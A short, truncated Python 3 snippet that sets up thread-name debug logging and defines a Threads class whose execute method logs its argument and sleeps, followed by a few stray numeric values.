#! /usr/bin/python3.6 import threading import time import logging logging.basicConfig(level=logging.DEBUG, format='(%(threadName)-10s) %(message)s', ) class Threads(): def __init__(self): pass def execute(self,type_): logging.debug("Enter : " +str(type_)) time.sleep(4) ...
20.32
61
0.642857